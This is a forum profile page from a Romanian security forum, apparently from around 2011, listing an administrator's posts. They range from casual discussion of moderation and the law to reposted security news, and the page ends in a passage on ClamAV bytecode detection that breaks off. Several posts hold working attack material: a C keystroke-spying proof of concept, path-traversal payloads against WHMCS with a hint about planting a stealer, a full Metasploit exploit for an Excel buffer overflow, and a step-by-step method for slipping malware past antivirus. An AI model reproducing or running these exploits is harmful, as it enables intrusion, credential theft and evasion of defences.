Jump to content

Nytro

Administrators
  • Posts

    18715
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. C:\Windows>telnet www.rstcenter.com 80 GET / HTTP/1.1 Host: www.rstcenter.com HTTP/1.1 200 OK Server: LBA T2900 LINUX SECURITY GROUP Date: Thu, 10 Nov 2011 15:34:28 GMT Content-Type: text/html Connection: keep-alive Last-Modified: Wed, 03 Nov 2010 23:06:25 GMT ETag: "759ff-27-4942e172bde40" Accept-Ranges: bytes Content-Length: 39 Cache-Control: max-age=7200 Expires: Thu, 10 Nov 2011 17:34:28 GMT <img src="stfu.jpg" alt="" title="" /> Connection to host lost. C:\Windows> Asta e fara browser.
  2. Eu ma gandesc in primul rand la mine, normal. Si ma intreb: "Ce am facut eu rau sa vrea garda sa ma ia?", si nu imi trece absolut nimic prin cap. Deci nu am niciun stres si la fel sunt si 96% (sa zicem) dintre cei de aici. Apoi, daca ma gandesc putin, imi dau seama ca din posturile mele reies multe lucruri: numele si prenumele, liceul la care am fost, facultatea la care sunt si altele. Pe un forum de "trading", unde se faceau tranzactii de milioane de dolari (carduri si alte lucruri nasoale) cica se infiltrase un agent FBI, activase mult timp si chiar ajunsese administrator ceva si dintr-o data au saltat o mare parte dintre ei. Dar acolo era vorba de bani, nu de conturi filelist date pe 1 euro credit cum se face aici. Ce-i drept vazusem intr-o zi un IP de STS pe aici, dar sunt si ei oameni, practic tot ca noi, care poate mai gasesc cine stie ce informatii utile aici, nu prea cred ca "spioneaza" pe cineva pentru ca, sa fim seriosi, chiar nu au pe cine (v-am ranit orgoliile de hackeri nu?).
  3. Computerized Prison doors hacked with vulnerabilities used by Stuxnet worm Security holes in the computer systems of federal prisons in the United States can effectively allow hackers to trigger a jailbreak by remote control. The discovery of the Stuxnet worm has alerted governments around the world about the possibility of industrial control systems being targeted by hackers. A team of researchers with John Strauchs, Tiffany Rad and Teague Newman presented their findings at a recent security conference. They said the project wasn't really all that difficult -- it just took a little time, some equipment bought online and a basement workspace. The idea for the research came about from work that Strauchs had done previously. "I designed a maximum security prison security system. That is, I did the engineering quite a few years ago and literally on Christmas Eve, the warden of that prison after it was occupied, called me and told me all the doors had popped open, including on death row, which of course sent chills down my spine. So we fixed that problem very quickly. It was a minor technical thing that had to do with the equipment used, but the gist of it was it made me think if that could be done accidentally, what was the extent of what you could do if you did it deliberately?" The security systems in most American prisons are run by special computer equipment called industrial control systems, or ICS. They are also used to control power plants, water treatment facilities and other critical national infrastructure. ICS has increasingly been targeted by hackers because an attack on one such system successfully sabotaged Iran’s nuclear program in 2009.A malicious cyber-intruder could “destroy the doors,” by overloading the electrical system that controls them, locking them permanently open, said Mr. Strauchs, now a consultant who has designed security systems for dozens of state and federal prisons. The U.S. Department of Homeland Security has confirmed the validity of their results and the researchers have already demonstrated the attack to federal and state Bureaus of Prisons and a number of federal agencies. Sursa: http://thehackernews.com/2011/11/computerized-prison-doors-hacked-with.html
  4. Da, nici eu nu vreau sa dau 8-10 lei pe o bere.
  5. Am scos imaginea de la semnatura, ar trebui sa fie ok acum.
  6. Ca idee, da, se poate face si pscarie pentru multe lucruri. Cam totul poarta numele de "Acces neautorizat" si nu e legal. Iar legea specifica faptul ca nu ai acces undeva chiar daca ai username si parola (nu conteaza cum obtinute - SQLI sau altceva) cat timp persoana respectiva nu ti-a oferit acordul sa le folosesti. Acum depinde cu cine esti in conflict, cu ce firma, unele pot sa te dea in judecata.
  7. Da, cine stie cineva are un reverse_tcp pe IP-ul vostru chiar in acest moment...
  8. Nu neaparat. Daca vrei sa ai succes in domeniu si sa lucrezi la o firma mare, iti faci publice niste date: numele si adresa de mail. Astfel vei putea intra in contact cu diverse companii si ai sanse mari sa lucrezi intr-un domeniu care iti place. Daca tot ce stie "lumea" despre tine este faptul ca esti "l34k" nu ai facut mare lucru. Pe scurt, e chiar invers: ideea este SA FII "prins". Cat despre meeting, stati linistiti, garantez ca nu prea o sa se vorbeasca chestii tehnice, o sa o dam in cine stie ce discutii stupide.
  9. De ce sa fim filati? Pentru ca "x" gasesti un SQLI in site-ul lui "y"? Cui ii pasa ca cineva a facut deface la rGaming.ro in afara proprietarului acestui site? O sa vina politia sa il caute pe cel care a facut-o? De ce ar face asta? Nu inteleg aceasta paranoia, sa gasesti un SQLI nu e deloc complicat, sunt zeci de mii de persoane care o pot face, deci daca gasesti unul si faci cine stie ce, nu esti tocmai un "badass", un pericol public, un urmarit general al politiei. Zic SQLInjection pentru ca in ziua de azi la asta s-a ajuns: cine stie SQLI, sparge un site de cacat, gata, e hacker in ochii presei, in ochii tuturor. La fel si ratatii de la lulzec si Anonymous, cica "hackeri"... Dar cei care au scris, de placere practic, mii de linii de cod la kernelul de Linux care e gratuit ce sunt? HD Moore care ofera metasploit gratis (bine, inainte de Rapid7) ce e? Muts (Mati Ahroni) si Backtrack-ul, fyodor si n_map...? Si exemplele pot continua. Si da, sunt persoane publice, cunoscute de milioane de oameni poate si uite ca nu sunt la puscarie si nu le e frica de asta. Dar lui "1337Hax0r" de pe RST care a gasit SQLI in www.nea-gigi.hostgratis.com.ro.plm ii e frica... E absurd. Te poate cauta politia pentru: - SQL Injection - daca gasesti la banci, paypal si poate extragi ceva date, sau la diverse companii guvernamentale care au informatii confidentiale in baza de date - Phishing sau Scam - adica pentru tentativa de furt informational. Nu, nu pentru phishing la Yahoo ca vrei parola prietenei, ci pentru phishing la banci - Carding - imparti diverse informatii legate de conturi bancare care nu iti apartin Cam astea ar fi ideile. Daca ar fi sa facem o analogie cu RST, NU aveti voie cu astfel de rahaturi aici, acele rahaturi nu va fac hackeri ci HOTI. E o mare diferenta, foarte putin inteleasa de publicul general.
  10. Super. Ma intreb cine a descoperit asta, daca exista un POC, daca se poate exploata, sau daca a fost folosita pe o scara larga...
  11. Microsoft Visual Studio 11 Developer Preview Visual Studio 11 Developer Preview is an integrated development environment that seamlessly spans the entire life cycle of software creation, including architecture, user interface design, code creation, code insight and analysis, code deployment, testing, and validation. Overview Visual Studio 11 Developer Preview is an integrated development environment that seamlessly spans the entire life cycle of software creation, including architecture, user interface design, code creation, code insight and analysis, code deployment, testing, and validation. This release adds support for the most advanced Microsoft platforms, including the next version of Windows (code-named "Windows 8") and Windows Azure, and enables you to target platforms across devices, services, and the cloud. Integration with Team Foundation Server allows the entire team, from the customer to the developer, to build scalable and high-quality applications to exacting standards and requirements. Visual Studio 11 Developer Preview is prerelease software and should not be used in production scenarios. This preview enables you to test updates and improvements made since Visual Studio 2010, including the following: Support for the most advanced platforms from Microsoft, including Windows 8 and Windows Azure, as well as a host of language enhancements. New features such as code clone detection, code review workflow, enhanced unit testing, lightweight requirements, production IntelliTrace exploratory testing, and fast context switching. This preview can be installed to run side by side with an existing Visual Studio 2010 installation. The preview provides an opportunity for developers to use the software and provide feedback before the final release. To provide feedback, please visit the Microsoft Connect website. The .NET Framework 4.5 Developer Preview is also installed as part of Visual Studio 11 Developer Preview. Note: This prerelease software will expire on June 30, 2012. To continue using Visual Studio 11 after that date, you will have to install a later version of the software. In order to develop Metro style applications, the Visual Studio 11 Developer Preview must be installed on the Windows Developer Preview with developer tools English, 64-bit. Developing Metro style applications on other Preview versions of Windows 8 is not supported. Download: http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=27543
  12. E vechi, nu mai e functional probabil...
  13. Voi nu intelegeti urmatoarele lucruri: 1) NU e nicio placere sa dai ban cuiva, sau avertisment, e doar putin timp pierdut pentru a mentine ordinea pe forum. 2) NU se dau avertismente sau banuri fara motiv. Noi frecventam forumul si in general stim membrii forumului, stim cat au contribuit la forum si luam decizii in functie de posturile persoanei respective. De exemplu, pentru mine conteaza foarte mult posturile utile (tehnice) ale membrilor si sunt indulgent cu persoanele care contribuie la forum. 3) NU avem nimic de castigat din faptul ca suntem moderatori, eu fac asta pentru ca imi place RST si vreau sa fie "curat", dar nu castig nimic daca ii dau warn/ban lui Vasile pentru ca l-a injurat pe Gheorghe. Legat de acest topic, e util dar discutabil. In general nu se dau banuri decat daca e strict necesar, se dau avertismente de obicei. Daca aveti o problema cu cineva care va da avertisment, discutati cu moderatorul respectiv pe PM. Nu se rezolva, discutati cu mine sau cu un alt administrator. Si eu am dat un avertisment, si dupa o scurta conversatie pe PM mi-am dat seama ca am gresit si am retras acel avertisment.
  14. Unul singur e de ajuns: http://twitter.com/#!/poyovl/following Am adaugat la Follow numai persoane din "domeniu". Pune-i pe toti la Follow.
  15. A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1 /* * A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1. * * The file /proc/interrupts is world readable. It contains information * about how many interrupts were emitted since the system boot. We may loop * on one CPU core while the victim is executed on another, and learn the length * of victim's passord via monitoring emitted interrupts' counters of the keyboard * interrupt. The PoC counts only keystrokes number, but it can be easily extended * to note the delays between the keystrokes and do the statistical analysis to * learn the precise input characters. * * The limitations: * - it works on 2-core CPUs only. * - it works on 1-keyboard systems only. * - it doesn't carefully count the first and last keystrokes (e.g. ENTER after * the password input). * - it doesn't carefully filter keystrokes after ENTER. * * by segoon from Openwall * * run as: gcc -Wall spy-interrupts.c -o spy-interrupts && ./spy-interrupts gksu * * P.S. The harm of 0444 /proc/interrupts is known for a long time, but I * was told about this specific attack vector by Tavis Ormandy just after similar * PoC spy-sched was published. */ #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <fcntl.h> #include <err.h> #include <errno.h> #include <string.h> int i8042_number; int ints[1024], ints_prev[1024], ints_delta[1024]; char buffer[1024]; int reread_ints(int *interrupts, int int_count, char **names) { int i; int n, c1, c2; char s1[1024], s2[1024]; int interrupts_fd; FILE *interrupts_file; interrupts_fd = open("/proc/interrupts", O_RDONLY); if (interrupts_fd == -1) err(1, "open(\"/proc/interrupts\")"); interrupts_file = fdopen(interrupts_fd, "r"); if (interrupts_file == NULL) err(1, "fdopen"); if (fseek(interrupts_file, 0, SEEK_SET) < 0) err(1, "lseek"); fgets(buffer, sizeof(buffer), interrupts_file); for (i = 0; i < int_count; i++) { if (fgets(buffer, sizeof(buffer), interrupts_file) == NULL) { fclose(interrupts_file); return i; } if (sscanf(buffer, "%d: %d %d %s %s", &n, &c1, &c2, s1, s2) < 3) { fclose(interrupts_file); return i; } if (names != NULL && names[i] == NULL) names[i] = strdup(s2); interrupts[i] = c1 + c2; } fclose(interrupts_file); return int_count; } void init_i8042_number(void) { int i; int can_be_keyboard[1024]; char *names[1024]; int number_of_interrups, can_be_keyboard_numbers; number_of_interrups = reread_ints(ints_prev, sizeof(ints_prev), names); /* * Identify the i8042 interrupt associated with the keyboard by: * 1) name should be i8042 * 2) interrupts count emitted in one second shouldn't be more than 100 */ for (i = 0; i < number_of_interrups; i++) can_be_keyboard[i] = strcmp(names[i], "i8042") == 0; while (1) { sleep(1); reread_ints(ints, sizeof(ints), NULL); can_be_keyboard_numbers = 0; for (i = 0; i < number_of_interrups; i++) { can_be_keyboard[i] &= (ints[i] - ints_prev[i]) < 100; if (can_be_keyboard[i]) can_be_keyboard_numbers++; ints_prev[i] = ints[i]; } if (can_be_keyboard_numbers == 1) { for (i = 0; i < number_of_interrups; i++) if (can_be_keyboard[i]) { i8042_number = i; printf("i8042 keyboard is #%d\n", i); return; } } } } int i8042_read(void) { reread_ints(ints, sizeof(ints), NULL); ints_prev[i8042_number] = ints[i8042_number]; return ints[i8042_number]; } int wait_for_program(char *pname) { FILE *f; int pid; char s[1024]; snprintf(s, sizeof(s), "while :; do pgrep %s >/dev/null && break;" " sleep 0.1; done", pname); system(s); snprintf(s, sizeof(s), "pgrep %s", pname); f = popen(s, "r"); if (f == NULL) err(1, "popen"); if (fgets(buffer, sizeof(buffer), f) == NULL) err(1, "fgets"); if (sscanf(buffer, "%d", &pid) < 1) err(1, "sscanf"); pclose(f); return pid; } int main(int argc, char *argv[]) { int n, old, sum, i; int pid; char *pname = argv[1]; if (argc < 2) errx(1, "usage: spy-interrupts gksu"); puts("Waiting for mouse activity..."); init_i8042_number(); pid = wait_for_program(pname); printf("%s is %d\n", pname, pid); old = i8042_read(); sum = 0; while (1) { n = i8042_read(); if (old == n) usleep(10000); else { for (i = 0; i < n-old; i++) putchar('.'); fflush(stdout); } sum += n - old; old = n; if (kill(pid, 0) < 0 && errno == ESRCH) break; } /* * #interrupts == 2 * #keystrokes. * #keystrokes = len(password) - 1 because of ENTER after the password. */ printf("\n%d keystrokes\n", (sum-2)/2); return 0; } Sursa: /proc/interrupts PoC: spy-interrupts
  16. Brazilian ISPs hit with massive DNS cache poisoning attacks Posted on 07 November 2011 A massive DNS cache poisoning attack attempting to infect users trying to access popular websites is currently under way in Brazil, warns Kaspersky Lab expert Fabio Assolini. "Brazil has some big ISPs. Official statistics suggest the country has 73 million computers connected to the Internet, and the major ISPs average 3 or 4 million customers each. If a cybercriminal can change the DNS cache in just one server, the number of potential victims is huge," he points out. And that is exactly what has been happening during last week. Users trying to reach Google, YouTube, Facebook and other popular global and local sites were being faced with pop-up windows telling them to install "Google Defence" and similar thematic software or Java applet in order to be able to access the wanted site: Unfortunately for those who fell for the trick, the offered software was a banking Trojan - for a long time now the preferred weapon of choice of Brazilian cyber crooks. According to Kaspersky, the same IP address hosted a number of malicious files and several exploits, and targeted users seem to be exclusively from Brazil. Among the different ways in which a DNS cache poisoning attack can be executed, the simplest option for the attackers is to pay an employee who has access to the DNS records to modify them so that user are redirected to the malicious site. And, as it seems, that is exactly what they did. Assolini notes that last week the Brazilian police has arrested an employee of an ISP located in the south of the country, and that he stands accused of changing his employer's DNS cache and redirecting users to phishing websites - no doubt at the behest of the people running them. "We strongly suspect similar security breaches will be happening in other small and medium ISPs in the country," Assolini commented. But random Internet users are not the only one who have been targeted by this type of attack. Employees of various companies have also been seeing similar pop-up windows when they tried to access any website. Once again, they were actually offered a banking Trojan for download. The attack was made possible by flaws in the networking equipment used by their companies. Routers and modems were accessed remotely by attackers who changed the devices' DNS configurations. Sursa: Brazilian ISPs hit with massive DNS cache poisoning attacks
  17. Pff, nu am timp de grupuri. Vorbiti cu el, daca nu mai are timp, decideti voi, ceilalti din grup. PS: Nu trebuie sa fie neaparat un lider cat timp va intelegeti intre voi si nu apar probleme. O sa incerc sa imi fac ceva timp si pentru grupuri, dar chiar nu am cand momentan.
  18. Hacking Embedded Devices For Fun And Profit Authored by prdelka These are slides from a talk called Hacking Embedded Devices for Fun and Profit. It uses Sky Broadband as a case study. HISTORY REPEATS ITSELF... - Typically run with no privilege separation - Everything runs as highest user privilege - SYSTEM / root (uid=0) on all processes - A single defect could potentially compromise the platform - Embedded Developers are not Security Conscious - Commonly write insecure routines - XSRF / XSS - Design & Logic bugs (e.g. Directory Traversal) - Buffer Overflow Defects - Small number of commonly re-used Libraries - Devices re-use open-source libraries across platforms - SNMP - UPnP - BusyBox - TinyHttpd, Micro_Httpd … etc Download: http://dl.packetstormsecurity.net/papers/attack/Hacking_Embedded_Devices-HackerFantastic.pdf Sursa: http://packetstormsecurity.org/files/106684
  19. iSpy: Using Reflections To Spy On iPhones Rahul Raguram, Andrew M. White, Dibenyendu Goswami, Fabian Monrose and Jan-Michael Frahm Department of Computer Science, University of North Carolina at Chapel Hill Chapel Hill, North Carolina {rraguram,amw,dgoswami,fabian,jmf}@cs.unc.edu ABSTRACT We investigate the implications of the ubiquity of personal mobile devices and reveal new techniques for compromising the privacy of users typing on virtual keyboards. Speci- cally, we show that so-called compromising re ections (in, for example, a victim's sunglasses) of a device's screen are suficient to enable automated reconstruction, from video, of text typed on a virtual keyboard. Despite our deliberate use of low cost commodity video cameras, we are able to com- pensate for variables such as arbitrary camera and device positioning and motion through the application of advanced computer vision and machine learning techniques. Using footage captured in realistic environments (e.g., on a bus), we show that we are able to reconstruct uent translations of recorded data in almost all of the test cases, correcting users' typing mistakes at the same time. We believe these results highlight the importance of adjusting privacy expectations in response to emerging technologies. Download: http://dl.packetstormsecurity.net/papers/general/CCS2011.pdf Sursa: iSpy: Using Reflections To Spy On iPhones ? Packet Storm
  20. Antivirus Software Bypass Authored by reset557 Various antivirus software on Windows fails to detect, block and/or move malware if the executable file has only execution permission and no read, write, or other bits set. Abstract: Some Windows antivirus software fails to detect, block and/or disinfect/move/delete malware if the malware EXE file has only execution permission and no read, write or other permissions. The worst cases are NOD32 and Avast antivirus, which allow the malware to run unimpeded. Avast has fixed the flaw while NOD32 is still vulnerable as of this writing. Vulnerable applications: (OS is Windows XP Professional SP3 with all current updates, unless otherwise noted) ESET NOD32 Antivirus 5.0.93.0, 5.0.94.0 and earlier 4.2.71.2 and earlier 4.0.x AVAST 6.0.1289 Internet Security , engine 111011-2 and earlier F-Prot Antivirus 6.0.9.5 , Scanning Engine 4.6.2 G-Data AntiVirus 2012 22.0.2.38, 22.0.9.1 Norman Security Suite, Antivirus version 8.00, Norman Scanner Engine version 6.07.11 and earlier Non-vulnerable applications: AVAST 6.0.1289 Internet Security , engine 111022-1 and later Sophos Endpoint Security and Control, version 9.5 Sophos Anti-Virus 9.5.5, Detection engine 3.23.2 MSE 2.1.1116.0 AVG Anti-Virus 2012.0.1831 Avira Antivirus Premium 2012 (12.0.0.867) BitDefender Antivirus Plus 2012 Build 15.0.31.1282 F-Secure Anti-Virus 2011 10.51 build 106 Kaspersky Anti-Virus 2012 12.0.0.374 McAfee AbtiVirus Plus 11.0 build 11.0.623 Panda Antivirus Pro 2012 Trend Micro Titanium 2012 5.0.1280 Vulnerability details: The Windows operating system supports a range of file permissions for files stored on volumes formatted in the NTFS file system format. For executing EXE files, the acting user account only needs the "Execute File" permission, while all others might be missing or denied, allthough there are cases when this is not true. The exact rule is unknown to the author. In the system used to test and verify the vulnerability the Execute File was enough to run programs. On another system running Windows 7 that was not true. Start of EXE files succeeded only if other permissions were enabled, including the Read Data permission. On another older system (XP or Windows 2003) the "Read Attributes" permission was required for program execution. The vulnerability discussed here is that some antivirus software fail to perform their functions if the malware file is missing read, write or delete permissions. They might not scan the file contents due to missing read permission, not delete it due to missing Delete permission or not desinfect it due to missing Write Data permission or not move to quarantine. For test Windows XP Professional SP3 (running in a virtual machine provided by Virtualbox v4.1.4) and the Back Orifice 2000 server file (bo2k.exe) ( BO2K - OpenSource Remote Administration Tool ) as a test file were used (with file permissions set to only allow execution). ESET NOD32 Eset NOD32 does nothing when a sample of the Back Orifice 2000 server EXE file with only the Execute File permission is executed. The bo2k.exe file is executed, the process works unrestrained and there is no action from by NOD32. If the same file with full permissions is started, NOD32 report it as malware, blocks the execution and deletes the file. AVAST AVAST 6.0.1289 Internet Security Trial version, engine 111011-2 On start of the test file it claims the file was blocked and moved to chest (quarantine), but actually it is executed and works (and not moved). A malware file with full permissions is prevented execution and is moved to chest. The problem is resolved in the AVAST engine version 111022-1 and later. F-Prot F-Prot Antivirus 6.0.9.5 , Scanning Engine 4.6.2 Prevents execution of the test file, but can not delete it. (tries, but fails - regular malware file is deleted) On demand scan completelly ignores test files (does not report them as malware). G-Data G-Data AntiVirus 2012 22.0.9.1 Prevents execution of the test file, tries to move it to quarantine, but fails with no error message. If the user selects the non-default option to delete the file, that works. Norman Norman Security Suite, Antivirus version 8.00, Norman Scanner Engine version 6.07.11 Does not seem to recognize BO2k server as a threat. Tested with the bo2k GUI executable: Prevents execution, claims to move to quarantine, but file stays where it was. The Engine version 6.07.13 does not recognize neither the BO2K GUI or server as malware, so it was not tested. Attack scenarios Possible attack scenarios are (for NOD32 and unfixed AVAST): - malware infects the system before antivirus software is installed After the infection the malware removes all permissions except "Execute File" from its EXE file, making itself undetectable by vulnerable antivirus software that is installed later. - malware spreads on NTFS formatted USB flash drives Malware infects or creates EXE files on USB flash drives and sets the permissions to execute-only. Plugging such a USB flash drive into other computers, the EXE files can be executed by the user or possibly automatically (Windows AutoPlay functionality) undetected by vulnerable antivirus software installed on the target system. It is also possible to infect further USB flash drives and other media in the presence of vulnerable antivirus software (see next item). - download of malware Even in presence of vulnerable antivirus software, it is possible to download and save an EXE file to the system that would otherwise be detected as malware and blocked. A successfully tested scenario (with NOD32) is: - create an empty target file - remove all permission from it, except to write/append data - download a ZIP file containg an EXE file that is detected as malware (the bo2k.exe from the download package on the BO2K home page); the ZIP file triggers no warnings from NOD32 - using standard command line tools, like unzip, split and cat, extract the bo2k.exe file from the ZIP archive in small parts (like 100 bytes), then append the parts in correct order to the target file in separate write operations Not using an .EXE ending in the created file names might heighten the probability of success. The result is a fully functioning copy of the bo2k.exe file. In the above scenario NOD32 complained about detected malware, but the file was not (re)moved and could be executed without any interference from NOD32. Solution/workaround Use software listed as not vulnerable above. Vendor communication ESET 2011 Aug 7 - ESET is informed about the issue 2011 Aug 8 - ESET replies the information was passed on 2011 Oct 18 - ESET confirms the issue is under investigation (forum post, see Serious bug reporting - Wilders Security Forums ) 2011 Nov 5 - Issue published on Bugtraq AVAST 2011 Oct 11-17 - vendor was informed 2011 Oct 23 - fixed version of software is released F-Prot, G-Data, Norman They were informed about the issues in October 11th or 12th. As the issue with their products is minor, I did not wait for a solution from their side. Regards, reset557 Txt: http://dl.packetstormsecurity.net/1111-advisories/malware-bypass.txt Sursa: Antivirus Software Bypass ? Packet Storm
  21. Da, ban permanent, thanks.
  22. WHMCompleteSolution 3.x/4.x Multiple Vulnerabilities $b0x# WHMCS ( WHMCompleteSolution ) 3.x / 4.x Multiple Vulnerability ! $b0x# ZxH-Labs $b0x# 1st-NOV-11 $b0x# Www.Sec4ever.coM $b0x# WH-03 On Windows IIS 6.0 ======================================================== b0x@1337b0x:/b0x/Exploits/WebAPP# whoami ZxH-Labs | Www.Sec4ever.coM b0x@1337b0x:/b0x/Exploits/WebAPP# cat WH-03.XPL EXPL Type : Local File Disclosure Files : Submitticket.php , Downloads.php -> I: submitticket.php?step=[Unknown Value]&templatefile=../../../../../../../../../boot.ini%00 EX : submitticket.php?step=b0x&templatefile=../../../../../../../../../boot.ini%00 ->II: downloads.php?action=[Unknown Value]&templatefile=../../../../../../../../../boot.ini%00 EX : downloads.php?action=b0x&templatefile=../../../../../../../../../boot.ini%00 b0x@1337b0x:/b0x/Exploits/WebAPP# b0x@1337b0x:/b0x/Exploits/WebAPP# cat WH-03.bug Bug TYPE : Local File Include Bug File : Reports.php -I : reports.php?report=[LFI]%00 EX : admin/reports.php?report=../../../../../../../boot.ini%00 You Can Use This Bug When You Get Forbidden Access In Lux Symlink ! However You Can Make Stealer into "/tmp" Directory With EXT .htm And The Full ISSUE Will Be -FI : admin/reports.php?report=../../../../../../../tmp/b0x.htm%00 And Don't Forget To Use IFRAME With Evil Code'z b0x@1337b0x:/b0x/Exploits/WebAPP# Logout ======================================================== $b0x# Greet'z 2 T0R0B0XHACKER | X-Shadow | Sec4ever | TNT_HACKER | r1z | Tw1st3r | S4S Cyb3r-1st | Red Virus | I-Hmx | h311 c0d3 | TacticiaN | Th3MMA | FreeMan(LY) | Ma3stro_DZ Mr.L4iv3 And All Q8'z ./b0x Sursa: WHMCompleteSolution 3.x/4.x Multiple Vulnerabilities
  23. MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow Posted Nov 6, 2011 Authored by Abysssec, sinn3r, Aniway, juan vazquez | Site metasploit.com This Metasploit module exploits a vulnerability found in Excel of Microsoft Office 2007. By supplying a malformed .xlb file, an attacker can control the content (source) of a memcpy routine, and the number of bytes to copy, therefore causing a stack-based buffer overflow. This results in arbitrary code execution under the context of the user. ## # $Id: ms11_021_xlb_bof.rb 14172 2011-11-06 20:16:34Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => "MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability found in Excel of Microsoft Office 2007. By supplying a malformed .xlb file, an attacker can control the content (source) of a memcpy routine, and the number of bytes to copy, therefore causing a stack- based buffer overflow. This results aribrary code execution under the context of user the user. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 14172 $", 'Author' => [ 'Aniway', #Initial discovery (via ZDI) 'abysssec', #RCA, poc 'sinn3r', #Metasploit 'juan vazquez' #Metasploit ], 'References' => [ ['CVE', '2011-0105'], ['MSB', 'MS11-021'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-121/'], ['URL', 'http://www.abysssec.com/blog/2011/11/02/microsoft-excel-2007-sp2-buffer-overwrite-vulnerability-ba-exploit-ms11-021/'] ], 'Payload' => { 'StackAdjustment' => -3500, }, 'DefaultOptions' => { 'ExitFunction' => "process", 'DisablePayloadHandler' => 'true', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # Win XP SP3 (Vista and 7 will try to repair the file) ['Microsoft Office Excel 2007 on Windows XP', {'Ret' => 0x3006A48D }], # JMP ESP in EXCEL (Office 2007) ['Microsoft Office Excel 2007 SP2 on Windows XP', {'Ret'=>0x3006b185}], #JMP ESP in excel ], 'Privileged' => false, 'DisclosureDate' => "Aug 9 2011", 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The filename', 'msf.xlb']) ], self.class) end def exploit path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2011-0105.xlb') f = File.open(path, 'rb') template = f.read f.close p = payload.encoded # Offset 1556 record = '' record << "\xa7\x00" #record type record << "\x04\x00" #record length if target.name =~ /Excel 2007 SP2/ # Microsoft Office Excel 2007 SP2 record << "\xb0\x0d\x0c\x00" #data else record << "\xb0\x0f\x0c\x00" #data end # Offset 1564 continue_record = '' continue_record << "\x3c\x00" #record type continue_record << [p.length+32].pack('v') #length buf = '' buf << template[0, 1556] buf << record buf << continue_record buf << rand_text_alpha(1) buf << [target.ret].pack('V*') buf << "\x00"*12 buf << p buf << template[2336, template.length] file_create(buf) end end =begin 0:000> r eax=41414141 ebx=00000000 ecx=00000006 edx=008c1504 esi=0000007f edi=00000005 eip=301a263d esp=00137ef8 ebp=00137f6c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 EXCEL!Ordinal40+0x1a263d: 301a263d 8908 mov dword ptr [eax],ecx ds:0023:41414141=???????? 0:000> dc esp 00137ef8 00000000 00000000 41414141 41414141 ........AAAAAAAA 00137f08 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00137f18 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00137f28 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00137f38 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00137f48 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00137f58 41414141 41414141 41414141 00000000 AAAAAAAAAAAA.... 00137f68 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA =end Sursa: MS11-021 Microsoft Office 2007 Excel .xlb Buffer Overflow ? Packet Storm
  24. Bytecode signatures for polymorphic malware Friday, November 4, 2011 About one year ago Alain presented the LLVM-based ClamAV bytecode. We've realised that, besides that initial introduction, we've never shown any real life use case, nor did we ever demonstrate the incredible power and flexibility of the ClamAV bytecode engine. I'll try to fix that today. I decided to target the Xpaj virus because it's an polymorphic file infector, which means that it is not easily to detected with plain signatures. Please note that I'm just focusing on the detection of Xpaj via bytecode signatures, not on Xpaj itself which was already thoroughly reviewed and explained. Pic.1: Clean file Pic.2: Same file as above, but infected with Xpaj For the scope of this blog post, it suffices to say that Xpaj is a file infector targeting 32-bit Windows executables and DLLs which employs entry-point obfuscation (EPO) capabilities in order to make the detection harder. In particular, the virus code hijacks a few API calls in the .text section of the file, diverting them to its own routine. This routine is located within the .text section and consists of a series of small chunks of code connected by jumps. Most of that is “garbage”. The only thing this preliminary block of code does is compute the code address for the next stage and jump to it. The actual viral code, as well as the overwritten blocks, are stored, in encrypted form, inside the data section. Well... enough technical info already. From now on I'll just focus on the Xpaj detection, or rather, the detection of a rather simplified version of it in order to keep this blog post small and readable. The geeks can find the full source code here. Let's start with a look at the virus entry point code: push ebp mov ebp, esp sub esp, XX While these are technically enough bytes to create a signature based on the opcodes, such a signature would be a really bad idea. What we have there, in fact, is just a pretty standard function entry point. After that we have some optional trash (do nothing) code, and then the virus saves the content of 3 random registers, which will be clobbered later by both the virus code and the trash engine too. So far we can still get away with a signature that makes use of a wildcard, however we still don't have much: stack allocation and 3 registers saved. That's still not enough. Next, we've got the trash engine in all its glory, and eventually we reach a function call. The trash code may or may not jump to another chunk of code. And that effectively kills our ability to use a normal (ndb or ldb) signature. Not all is lost, though. We can still write a small piece of bytecode signature which follows the code through the trash and checks for specific fingerprints. In particular we plan to scan the code section for something that looks like the following: mov edi, edi push ebp mov ebp, esp sub esp, $STACKSIZE [optional trash] push eax push edx push edi note, the registers are chosen randomly among the 32 bit general purpose registers except esp and ebp [optional trash] call $DELTA Here we are inside "$DELTA".. [optional trash] mov register, [ebp-stacksize] [optional trash] ret Back outside the call we have a couple of other less interesting fingerprints and eventually the virus will jump to some runtime computed location. There are two ways by which this is achieved: jmp local_var or push local_var ret Ok let's code... First we look for the 5 static bytes at the virus entry point (EP): seek(begin_of_the_code_section, SEEK_SET); cur = file_find_limit("\x55\x89\xe5\x83\xec", 5, end_of_the_code_section); if(cur < 0) return 0; Then we set ourselves in a disassembly loop and we check if we got what we expect. Something along the lines of: while(1) { struct DIS_fixed d; int next = DisassembleAt(&d, cur, space_remaining); if(next == -1) break; /* disasm error */ cur = next; /* cur now points at the next op */ [here we check the op] } As for the actual opcode matching, here are a few examples. The first thing we are interested in is the 3 